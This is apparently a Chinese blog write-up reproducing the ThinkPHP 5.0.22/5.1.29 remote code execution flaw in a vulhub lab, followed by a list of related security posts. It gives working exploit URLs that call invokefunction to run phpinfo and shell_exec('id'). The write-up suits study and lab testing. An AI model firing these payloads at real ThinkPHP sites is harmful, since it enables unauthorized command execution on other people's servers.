vulhub中ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞复现

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

1.环境启动后,访问http://your-ip:8080即可看到ThinkPHP默认启动页面。

2.直接访问http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,即可执行phpinfo:

http://192.168.188.139:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id
相关推荐
然然阿然然1 小时前
2025.1.21——六、BUU XSS COURSE 1 XSS漏洞|XSS平台搭建
前端·网络·安全·web安全·网络安全·xss
索然无味io1 小时前
中间件安全
java·笔记·学习·安全·web安全·网络安全·中间件
HackKong5 小时前
2025年黑客技术之网络安全简介(入门篇)
安全·web安全·网络安全·黑客技术
dot.Net安全矩阵16 小时前
拒绝 Github 投毒,通过 Sharp4SuoBrowser 分析 Visual Studio 隐藏文件
ide·安全·web安全·github·.net·.netcore·visual studio
小屁不止是运维18 小时前
麒麟操作系统服务架构保姆级教程(十四)iptables防火墙四表五链和防火墙应用案例
安全·web安全·架构·iptables·防火墙
安全无极限19 小时前
99%的人不知道,桥接模式失败的真正原因是它!
web安全·网络安全·桥接模式
索然无味io19 小时前
XML外部实体注入--漏洞利用
xml·前端·笔记·学习·web安全·网络安全·php
Bruce_Liuxiaowei21 小时前
AI时代的网络安全:传统技术的落寞与新机遇
人工智能·安全·web安全
Fly不安全1 天前
Web安全:缓存欺骗攻击;基于缓存、CDN的新型Web漏洞
nginx·web安全·缓存·web·cdn·缓存欺骗攻击
Andya_net1 天前
网络安全 | 0day漏洞介绍
网络·安全·web安全